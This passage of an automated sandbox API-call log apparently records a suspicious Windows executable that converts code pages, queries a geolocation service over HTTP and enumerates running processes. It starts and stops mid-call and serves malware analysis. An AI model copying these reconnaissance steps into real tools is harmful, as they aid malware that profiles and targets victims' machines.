4\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8a\x5c\x42\x2d\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0032.449] GetLastError () returned 0x0 [0032.449] SetLastError (dwErrCode=0x0) [0032.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0032.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0032.449] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0032.449] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18cbc8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0032.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d284, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x8a\x5c\x42\x2d\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0032.449] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0032.449] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x800) returned 0x32d560 [0032.449] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x467634 [0032.449] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.449] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.450] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.450] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.450] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x110) returned 0x32dd68 [0032.450] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.450] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x10) returned 0x32b280 [0032.450] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.451] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.451] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.451] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x32d2b0) returned 0x80 [0032.452] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0033.488] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x40) returned 0x3225c0 [0033.488] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0041.141] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189888, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c088 | out: lpBuffer=0x189888*, lpdwNumberOfBytesRead=0x18c088*=0x1d1) returned 1 [0041.142] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0041.145] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20) returned 0x339720 [0041.145] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x1e0) returned 0x31a46d0 [0041.145] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x31a46d0 | out: hHeap=0x280000) returned 1 [0041.145] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x339720 | out: hHeap=0x280000) returned 1 [0041.145] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x3225c0 | out: hHeap=0x280000) returned 1 [0041.145] GetCurrentProcess () returned 0xffffffff [0041.145] GetLastError () returned 0x2 [0041.145] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x10) returned 0x359ec8 [0041.145] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x110) returned 0x304fec8 [0041.145] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x800) returned 0x3044190 [0041.145] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3044190, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0041.145] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.146] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x810) returned 0x3044998 [0041.146] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " [0041.146] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" ", pNumArgs=0x18c168 | out: pNumArgs=0x18c168) returned 0x35a580*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.146] lstrcpyW (in: lpString1=0x18ce18, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.146] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " [0041.146] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" ", pNumArgs=0x18c104 | out: pNumArgs=0x18c104) returned 0x35a580*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.146] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0041.146] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.147] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0041.147] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0041.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.147] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0041.176] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0041.176] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0041.177] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0041.177] EnumProcesses (in: lpidProcess=0x181900, cb=0xa000, lpcbNeeded=0x18c110 | out: lpidProcess=0x181900, lpcbNeeded=0x18c110) returned 1 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0041.181] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b4 [0041.182] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0041.182] CloseHandle (hObject=0x5b4) returned 1 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b4 [0041.182] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0041.182] CloseHandle (hObject=0x5b4) returned 1 [0041.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0041.182] CloseHandle (hObject=0x0) returned 0 [0041.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b4 [0041.183] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0041.183] CloseHandle (hObject=0x5b4) returned 1 [0041.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0041.183] CloseHandle (hObject=0x0) returned 0 [0041.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5b4 [0041.183] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0041.183] CloseHandle (hObject=0x5b4) returned 1 [0041.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x0 [0041.183] CloseHandle (hObject=0x0) returned 0 [0041.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x440) returned 0x5b4 [0041.183] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.184] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xb50000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="consists.exe") returned 0xc [0041.184] CloseHandle (hObject=0x5b4) returned 1 [0041.184] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x660) returned 0x5b4 [0041.184] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.185] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="combat_zum.exe") returned 0xe [0041.185] CloseHandle (hObject=0x5b4) returned 1 [0041.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x32c) returned 0x5b4 [0041.186] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.186] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="inch_allocated.exe") returned 0x12 [0041.187] CloseHandle (hObject=0x5b4) returned 1 [0041.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x5b4 [0041.187] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.188] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xc10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="tired_accessibility_tie.exe") returned 0x1b [0041.188] CloseHandle (hObject=0x5b4) returned 1 [0041.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x5b4 [0041.188] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.190] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1a0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="elephant.exe") returned 0xc [0041.190] CloseHandle (hObject=0x5b4) returned 1 [0041.190] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x5b4 [0041.190] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.191] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1230000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="size_magnetic.exe") returned 0x11 [0041.191] CloseHandle (hObject=0x5b4) returned 1 [0041.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2ac) returned 0x5b4 [0041.191] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.192] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xcf0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="namely.exe") returned 0xa [0041.193] CloseHandle (hObject=0x5b4) returned 1 [0041.193] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x5b4 [0041.193] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.194] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x12e0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="peter simply interfaces.exe") returned 0x1b [0041.194] CloseHandle (hObject=0x5b4) returned 1 [0041.194] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5b4 [0041.194] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0041.195] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xb60000, lpBaseName=0x18b900, nSize=0x400 | out: 